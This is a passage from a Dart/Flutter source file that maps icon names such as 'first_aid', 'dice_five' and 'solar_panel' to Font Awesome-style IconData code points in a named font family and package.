const IconData(0xf477, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_medical_file':
const IconData(0xf478, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'first_aid':
const IconData(0xf479, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_hospital':
const IconData(0xf47d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hospital_symbol':
const IconData(0xf47e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_identification_card':
const IconData(0xf47f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'medical_notes':
const IconData(0xf481, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pallet':
const IconData(0xf482, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pills':
const IconData(0xf484, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'prescription_bottle':
const IconData(0xf485, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_prescription_bottle':
const IconData(0xf486, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'procedures':
const IconData(0xf487, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shipping_fast':
const IconData(0xf48b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'smoking':
const IconData(0xf48d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'syringe':
const IconData(0xf48e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tablets':
const IconData(0xf490, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thermometer':
const IconData(0xf491, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vial':
const IconData(0xf492, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vials':
const IconData(0xf493, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'warehouse':
const IconData(0xf494, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'weight':
const IconData(0xf496, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'x_ray':
const IconData(0xf497, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'box_open':
const IconData(0xf49e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'comment_dots':
const IconData(0xf4ad, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'comment_slash':
const IconData(0xf4b3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'couch':
const IconData(0xf4b8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'donate':
const IconData(0xf4b9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dove':
const IconData(0xf4ba, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_holding':
const IconData(0xf4bd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_holding_heart':
const IconData(0xf4be, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hand_holding_us_dollar':
const IconData(0xf4c0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hands':
const IconData(0xf4c2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'helping_hands':
const IconData(0xf4c4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'parachute_box':
const IconData(0xf4cd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'people_carry':
const IconData(0xf4ce, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'piggy_bank':
const IconData(0xf4d3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'readme':
const IconData(0xf4d5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ribbon':
const IconData(0xf4d6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'route':
const IconData(0xf4d7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'seedling':
const IconData(0xf4d8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sign':
const IconData(0xf4d9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'winking_face':
const IconData(0xf4da, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tape':
const IconData(0xf4db, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'truck_loading':
const IconData(0xf4de, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'truck_moving':
const IconData(0xf4df, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'video_slash':
const IconData(0xf4e2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wine_glass':
const IconData(0xf4e3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'java':
const IconData(0xf4e4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pied_piper_hat':
const IconData(0xf4e5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_attribution':
const IconData(0xf4e7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_noncommercial':
const IconData(0xf4e8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_noncommercial__euro_sign_':
const IconData(0xf4e9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_noncommercial__yen_sign_':
const IconData(0xf4ea, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_no_derivative_works':
const IconData(0xf4eb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_public_domain':
const IconData(0xf4ec, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_creative_commons_public_domain':
const IconData(0xf4ed, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_remix':
const IconData(0xf4ee, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_share_alike':
const IconData(0xf4ef, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_sampling':
const IconData(0xf4f0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_sampling__':
const IconData(0xf4f1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_share':
const IconData(0xf4f2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons_cc0':
const IconData(0xf4f3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ebay':
const IconData(0xf4f4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'keybase':
const IconData(0xf4f5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mastodon':
const IconData(0xf4f6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'r_project':
const IconData(0xf4f7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'researchgate':
const IconData(0xf4f8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'teamspeak':
const IconData(0xf4f9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_user_slash':
const IconData(0xf4fa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_astronaut':
const IconData(0xf4fb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_check':
const IconData(0xf4fc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_clock':
const IconData(0xf4fd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_cog':
const IconData(0xf4fe, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_edit':
const IconData(0xf4ff, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_friends':
const IconData(0xf500, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_graduate':
const IconData(0xf501, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_lock':
const IconData(0xf502, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_minus':
const IconData(0xf503, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_ninja':
const IconData(0xf504, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_shield':
const IconData(0xf505, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_slash':
const IconData(0xf506, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_tag':
const IconData(0xf507, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_tie':
const IconData(0xf508, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'users_cog':
const IconData(0xf509, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_first_order':
const IconData(0xf50a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fulcrum':
const IconData(0xf50b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'galactic_republic':
const IconData(0xf50c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'galactic_senate':
const IconData(0xf50d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'jedi_order':
const IconData(0xf50e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mandalorian':
const IconData(0xf50f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'old_republic':
const IconData(0xf510, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'phoenix_squadron':
const IconData(0xf511, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sith':
const IconData(0xf512, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'trade_federation':
const IconData(0xf513, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wolf_pack_battalion':
const IconData(0xf514, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'balance_scale__left_weighted_':
const IconData(0xf515, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'balance_scale__right_weighted_':
const IconData(0xf516, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'blender':
const IconData(0xf517, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'book_open':
const IconData(0xf518, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'broadcast_tower':
const IconData(0xf519, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'broom':
const IconData(0xf51a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chalkboard':
const IconData(0xf51b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chalkboard_teacher':
const IconData(0xf51c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'church':
const IconData(0xf51d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'coins':
const IconData(0xf51e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'compact_disc':
const IconData(0xf51f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'crow':
const IconData(0xf520, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'crown':
const IconData(0xf521, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dice':
const IconData(0xf522, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dice_five':
const IconData(0xf523, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dice_four':
const IconData(0xf524, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dice_one':
const IconData(0xf525, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dice_six':
const IconData(0xf526, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dice_three':
const IconData(0xf527, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dice_two':
const IconData(0xf528, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'divide':
const IconData(0xf529, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'door_closed':
const IconData(0xf52a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'door_open':
const IconData(0xf52b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'equals':
const IconData(0xf52c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'feather':
const IconData(0xf52d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'frog':
const IconData(0xf52e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gas_pump':
const IconData(0xf52f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'glasses':
const IconData(0xf530, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'greater_than':
const IconData(0xf531, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'greater_than_equal_to':
const IconData(0xf532, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'helicopter':
const IconData(0xf533, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'infinity':
const IconData(0xf534, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'kiwi_bird':
const IconData(0xf535, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'less_than':
const IconData(0xf536, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'less_than_equal_to':
const IconData(0xf537, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'memory':
const IconData(0xf538, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_microphone_slash':
const IconData(0xf539, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wavy_money_bill':
const IconData(0xf53a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_wavy_money_bill':
const IconData(0xf53b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'money_check':
const IconData(0xf53c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_money_check':
const IconData(0xf53d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'not_equal':
const IconData(0xf53e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'palette':
const IconData(0xf53f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'parking':
const IconData(0xf540, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'percentage':
const IconData(0xf541, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'project_diagram':
const IconData(0xf542, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'receipt':
const IconData(0xf543, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'robot':
const IconData(0xf544, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ruler':
const IconData(0xf545, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ruler_combined':
const IconData(0xf546, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ruler_horizontal':
const IconData(0xf547, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ruler_vertical':
const IconData(0xf548, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'school':
const IconData(0xf549, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'screwdriver':
const IconData(0xf54a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shoe_prints':
const IconData(0xf54b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'skull':
const IconData(0xf54c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'smoking_ban':
const IconData(0xf54d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'store':
const IconData(0xf54e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_store':
const IconData(0xf54f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stream':
const IconData(0xf550, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stroopwafel':
const IconData(0xf551, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'toolbox':
const IconData(0xf552, fontFamily: _kFontFam, fontPackage: _kFontPackage),
't_shirt':
const IconData(0xf553, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'walking':
const IconData(0xf554, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wallet':
const IconData(0xf555, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angry_face':
const IconData(0xf556, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'archway':
const IconData(0xf557, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'atlas':
const IconData(0xf558, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'award':
const IconData(0xf559, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'backspace':
const IconData(0xf55a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bezier_curve':
const IconData(0xf55b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bong':
const IconData(0xf55c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'brush':
const IconData(0xf55d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bus_alt':
const IconData(0xf55e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cannabis':
const IconData(0xf55f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'double_check':
const IconData(0xf560, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cocktail':
const IconData(0xf561, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'concierge_bell':
const IconData(0xf562, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cookie':
const IconData(0xf563, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cookie_bite':
const IconData(0xf564, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_crop':
const IconData(0xf565, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'digital_tachograph':
const IconData(0xf566, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dizzy_face':
const IconData(0xf567, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'drafting_compass':
const IconData(0xf568, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'drum':
const IconData(0xf569, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'drum_steelpan':
const IconData(0xf56a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_feather':
const IconData(0xf56b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_contract':
const IconData(0xf56c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_download':
const IconData(0xf56d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_export':
const IconData(0xf56e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_import':
const IconData(0xf56f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_invoice':
const IconData(0xf570, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_invoice_with_us_dollar':
const IconData(0xf571, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_prescription':
const IconData(0xf572, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_signature':
const IconData(0xf573, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file_upload':
const IconData(0xf574, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fill':
const IconData(0xf575, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fill_drip':
const IconData(0xf576, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fingerprint':
const IconData(0xf577, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fish':
const IconData(0xf578, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'flushed_face':
const IconData(0xf579, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'frowning_face_with_open_mouth':
const IconData(0xf57a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_glass_martini':
const IconData(0xf57b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'globe_with_africa_shown':
const IconData(0xf57c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'globe_with_americas_shown':
const IconData(0xf57d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'globe_with_asia_shown':
const IconData(0xf57e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grimacing_face':
const IconData(0xf57f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_face':
const IconData(0xf580, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_grinning_face':
const IconData(0xf581, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_face_with_smiling_eyes':
const IconData(0xf582, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_face_with_sweat':
const IconData(0xf583, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'smiling_face_with_heart_eyes':
const IconData(0xf584, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_squinting_face':
const IconData(0xf585, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rolling_on_the_floor_laughing':
const IconData(0xf586, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'star_struck':
const IconData(0xf587, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'face_with_tears_of_joy':
const IconData(0xf588, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'face_with_tongue':
const IconData(0xf589, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'squinting_face_with_tongue':
const IconData(0xf58a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'winking_face_with_tongue':
const IconData(0xf58b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_winking_face':
const IconData(0xf58c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grip_horizontal':
const IconData(0xf58d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grip_vertical':
const IconData(0xf58e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_headphones':
const IconData(0xf58f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'headset':
const IconData(0xf590, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'highlighter':
const IconData(0xf591, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hornbill':
const IconData(0xf592, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hot_tub':
const IconData(0xf593, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hotel':
const IconData(0xf594, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'joint':
const IconData(0xf595, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'kissing_face':
const IconData(0xf596, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'kissing_face_with_smiling_eyes':
const IconData(0xf597, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'face_blowing_a_kiss':
const IconData(0xf598, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_face_with_big_eyes':
const IconData(0xf599, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'laugh_face_with_beaming_eyes':
const IconData(0xf59a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'laughing_squinting_face':
const IconData(0xf59b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'laughing_winking_face':
const IconData(0xf59c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'luggage_cart':
const IconData(0xf59d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mailchimp':
const IconData(0xf59e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'map_marked':
const IconData(0xf59f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_map_marked':
const IconData(0xf5a0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'marker':
const IconData(0xf5a1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'medal':
const IconData(0xf5a2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'megaport':
const IconData(0xf5a3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'face_without_mouth':
const IconData(0xf5a4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'face_with_rolling_eyes':
const IconData(0xf5a5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'monument':
const IconData(0xf5a6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mortar_pestle':
const IconData(0xf5a7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'nimblr':
const IconData(0xf5a8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paint_roller':
const IconData(0xf5aa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'passport':
const IconData(0xf5ab, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pen_fancy':
const IconData(0xf5ac, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pen_nib':
const IconData(0xf5ad, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pencil_ruler':
const IconData(0xf5ae, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'plane_arrival':
const IconData(0xf5af, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'plane_departure':
const IconData(0xf5b0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'prescription':
const IconData(0xf5b1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rev_io':
const IconData(0xf5b2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'crying_face':
const IconData(0xf5b3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'loudly_crying_face':
const IconData(0xf5b4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shopware':
const IconData(0xf5b5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shuttle_van':
const IconData(0xf5b6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'signature':
const IconData(0xf5b7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'beaming_face_with_smiling_eyes':
const IconData(0xf5b8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'solar_panel':
const IconData(0xf5ba, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'spa':
const IconData(0xf5bb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'splotch':
const IconData(0xf5bc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'spray_can':
const IconData(0xf5bd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'squarespace':
const IconData(0xf5be, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stamp':
const IconData(0xf5bf, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_star_half':
const IconData(0xf5c0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'suitcase_rolling':
const IconData(0xf5c1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hushed_face':
const IconData(0xf5c2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'swatchbook':
const IconData(0xf5c3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'swimmer':
const IconData(0xf5c4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'swimming_pool':
const IconData(0xf5c5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'themeco':
const IconData(0xf5c6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tint_slash':
const IconData(0xf5c7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tired_face':
const IconData(0xf5c8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tooth':
const IconData(0xf5c9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'umbrella_beach':
const IconData(0xf5ca, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vector_square':
const IconData(0xf5cb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'weebly':
const IconData(0xf5cc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hanging_weight':
const IconData(0xf5cd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_wine_glas':
const IconData(0xf5ce, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wix':
const IconData(0xf5cf, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'air_freshener':
const IconData(0xf5d0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fruit_apple':
const IconData(0xf5d1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'atom':
const IconData(0xf5d2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bone':
const IconData(0xf5d7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'book_reader':
const IconData(0xf5da, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'brain':
const IconData(0xf5dc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_car':
const IconData(0xf5de, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'car_battery':
const IconData(0xf5df, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'car_crash':
const IconData(0xf5e1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'car_side':
const IconData(0xf5e4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'charging_station':
const IconData(0xf5e7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'directions':
const IconData(0xf5eb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'draw_polygon':
const IconData(0xf5ee, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ello':
const IconData(0xf5f1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hackerrank':
const IconData(0xf5f7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'kaggle':
const IconData(0xf5fa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'laptop_code':
const IconData(0xf5fc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'layer_group':
const IconData(0xf5fd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'markdown':
const IconData(0xf60f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'microscope':
const IconData(0xf610, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'neos':
const IconData(0xf612, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'oil_can':
const IconData(0xf613, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'poop':
const IconData(0xf619, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shapes':
const IconData(0xf61f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'star_of_life':
const IconData(0xf621, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'teeth':
const IconData(0xf62e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'teeth_open':
const IconData(0xf62f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'theater_masks':
const IconData(0xf630, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'traffic_light':
const IconData(0xf637, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'truck_monster':
const IconData(0xf63b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'truck_side':
const IconData(0xf63c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'zhihu':
const IconData(0xf63f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ad':
const IconData(0xf641, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alipay':
const IconData(0xf642, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ankh':
const IconData(0xf644, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bible':
const IconData(0xf647, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'business_time':
const IconData(0xf64a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'city':
const IconData(0xf64f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'comment_dollar':
